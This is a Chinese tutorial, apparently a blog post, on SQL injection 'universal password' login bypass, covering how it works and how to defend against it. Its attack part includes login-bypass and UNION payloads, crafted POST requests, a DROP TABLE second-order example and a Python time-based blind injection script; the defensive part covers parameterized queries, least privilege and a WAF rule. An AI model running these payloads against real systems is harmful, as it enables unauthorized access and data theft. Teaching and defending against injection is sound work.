SQL注入之万能密码：原理、实践与防御全解析

山河
LInux
5天前
10热度
0评论

引言：当密码验证失效时

2021年某大型电商平台因SQL注入漏洞导致千万用户数据泄露，攻击者仅用一行' or 1=1 -- 的密码字段就突破了系统防线。这个被称为"万能密码"的经典攻击方式，至今仍在OWASP十大Web安全威胁榜单中占据重要位置。本文将深入解析万能密码的运行机制，通过代码实例揭示其危险性，并提供企业级防御方案。

一、万能密码的底层逻辑

1.1 SQL注入基本原理

在典型的登录验证场景中，开发者常使用字符串拼接方式构造SQL语句：

sql = "SELECT * FROM users WHERE username='%s' AND password='%s'" % (username, password)

当攻击者输入admin'-- 作为用户名时，实际执行的SQL变为：

SELECT * FROM users WHERE username='admin'-- ' AND password='任意值'

注释符--使密码验证失效，实现未授权登录。

1.2 万能密码的典型变种

数据库类型万能密码示例执行效果MySQL' OR '1'='1' --永真条件绕过验证PostgreSQL'; SELECT NULL --多语句执行注入Oracle' OR 1=1 --使用双短划线注释SQL Server'); WAITFOR DELAY '0:0:5' --基于时间延迟的盲注

二、渗透测试实战演示

2.1 基础绕过实验

假设存在登录接口：

POST /login HTTP/1.1
username=test&password=123

构造攻击请求：

POST /login HTTP/1.1
username=' or 1=1 -- &password=any_value

生成的SQL语句：

SELECT * FROM users WHERE username='' or 1=1 -- ' AND password='any_value'

2.2 高级联合查询注入

当系统返回详细错误信息时，攻击者可构造：

' UNION SELECT 1,@@version,3,4 --

通过错误回显获取数据库版本信息，为进一步攻击奠定基础。

三、企业级防御方案

3.1 参数化查询（最佳实践）

Java示例（PreparedStatement）：

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

Python示例（SQLAlchemy）：

from sqlalchemy import text
stmt = text("SELECT * FROM users WHERE username=:user AND password=:pass")
result = db.engine.execute(stmt, user=username, pass=password)

3.2 深度防御策略

输入验证层：

// 正则过滤特殊字符
function sanitize(input) {
    return input.replace(/['";\\]/g, '');
}

权限控制：

-- 创建只读数据库用户
CREATE USER 'webuser'@'%' IDENTIFIED BY 'securePass123!';
GRANT SELECT ON app_db.users TO 'webuser'@'%';

WAF规则示例（ModSecurity）：

SecRule ARGS "@detectSQLi" \
"id:1001,\
phase:2,\
deny,\
log,\
msg:'SQL Injection Attack Detected'"

四、新型攻击方式演进

4.1 二阶SQL注入

攻击者将恶意负载存储在数据库中，当系统后续调用该数据时触发注入：

UPDATE profile SET bio = 'harmless' WHERE user_id = 1; DROP TABLE logs --

4.2 基于布尔盲注的自动化攻击

使用Python脚本实施时间盲注：

import requests
import time

target = "http://example.com/login"
charset = "0123456789abcdef"

for char in charset:
    payload = f"admin' AND IF(SUBSTRING(database(),1,1)='{char}', SLEEP(5),0) -- "
    start = time.time()
    requests.post(target, data={'username':payload, 'password':'1'})
    if time.time() - start > 4:
        print(f"First character is {char}")
        break